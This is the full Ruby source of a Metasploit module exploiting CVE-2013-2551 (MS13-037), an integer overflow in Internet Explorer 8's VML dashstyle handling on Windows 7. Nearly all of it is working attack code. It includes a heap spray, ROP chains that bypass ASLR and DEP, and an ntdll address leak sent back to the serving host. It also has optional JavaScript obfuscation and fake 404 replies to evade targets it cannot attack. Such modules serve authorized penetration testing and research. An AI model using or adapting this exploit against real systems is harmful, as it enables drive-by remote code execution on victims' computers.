metasploit-framework/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

432 lines
12 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
'Description' => %q{
This module exploits an integer overflow vulnerability on Internet Explorer.
The vulnerability exists in the handling of the dashstyle.array length for vml
shapes on the vgx.dll module.
The exploit has been built and tested specifically against Windows 7 SP1 with
Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
bypass ASLR, and by default the info leak is used. To make sure the leak is
successful, the ntdll version should be either v6.1.7601.17514 (the default dll
version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725
(installed after apply MS12-001). If the target doesn't have the version the exploit
wants, it will refuse to attack by sending a fake 404 message (webpage not found).
If you wish to try the JRE6 component instead to bypass ASLR, you can set the
advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
have this particular component, the exploit will also refuse to attack by
sending a 404 message.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
'4B5F5F4B', # PoC
'juan vazquez', # Metasploit module
'sinn3r' # BES upgrade
],
'References' =>
[
[ 'CVE', '2013-2551' ],
[ 'OSVDB', '91197' ],
[ 'BID', '58570' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
],
'Payload' =>
{
'Space' => 948,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'BrowserRequirements' =>
{
:source => /script/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => HttpClients::IE,
:ua_ver => '8.0',
},
'Targets' =>
[
[
'IE 8 on Windows 7 SP1',
{
'Offset' => '0x5f4'
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 06 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
register_advanced_options(
[
# ntdll requires:
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
# * ntdll.dll v6.1.7601.17725 (MS12-001)
OptEnum.new('ROP', [true, 'The type of ROP to use (JRE6 or leak NTDLL)', 'NTDLL', ['JRE6', 'NTDLL'] ])
], self.class)
end
def exploit
@second_stage_url = "#{get_module_resource}#{rand_text_alpha(10)}".chomp
@leak_param = rand_text_alpha(5)
super
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0c0c
# For IE 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_ntdll_rop
case @ntdll_version
when "6.1.7601.17514"
stack_pivot = [
@ntdll_base+0x0001578a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
when "6.1.7601.17725"
stack_pivot = [
@ntdll_base+0x0001579a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
else
return ""
end
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t.opts['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t.opts['Rop']
when :jre
print_status("Using JRE ROP")
stack_pivot = [
0x7c348b06, # ret # from msvcr71
0x7c341748, # pop ebx # ret # from msvcr71
0x7c348b05 # xchg eax, esp # ret from msvcr71
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
when :ntdll
print_status("Using ntdll ROP")
rop_payload = get_ntdll_rop + payload.encoded
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
js_trigger = %Q|
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
location.reload();
}
|
create_rects_func = "createRects"
exploit_func = "exploit"
if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end
html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|
return html
end
def html_info_leak
uri_prefix = "#{get_resource.chomp("/")}/#{@second_stage_url}".gsub('//', '/')
js_trigger = %Q|
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
document.location = "#{uri_prefix}?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
return;
}
}
}
|
create_rects_func = "createRects"
exploit_func = "exploit"
if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end
html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|
return html
end
def set_rop(t, rop, info)
case rop
when /^ntdll$/i
t.opts['Rop'] = :ntdll
when /^jre6$/i
if info[:java] !~ /1\.6|6\.0/
raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack"
end
t.opts['Rop'] = :jre
end
return t
end
def on_request_exploit(cli, request, target_info)
begin
my_target = set_rop(get_target, datastore['ROP'], target_info)
rescue RuntimeError => e
# This one is just a warning, because it's a requirement check so it's not that scary.
print_warning(e.message)
send_not_found(cli)
return
end
if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
html = html_info_leak
print_status("Sending HTML to info leak...")
send_response(cli, html, {'Content-Type'=>'text/html'})
else
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end
if leak == 0
html = load_exploit_html(my_target, cli)
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})
return
end
print_status("ntdll leak: 0x#{leak.to_s(16)}")
fingerprint = leak & 0x0000ffff
case fingerprint
when 0x70B0
@ntdll_version = "6.1.7601.17514"
@ntdll_base = leak - 0x470B0
when 0x7090
@ntdll_version = "6.1.7601.17725" # MS12-001
@ntdll_base = leak - 0x47090
else
print_warning("ntdll version not detected, sending 404")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
end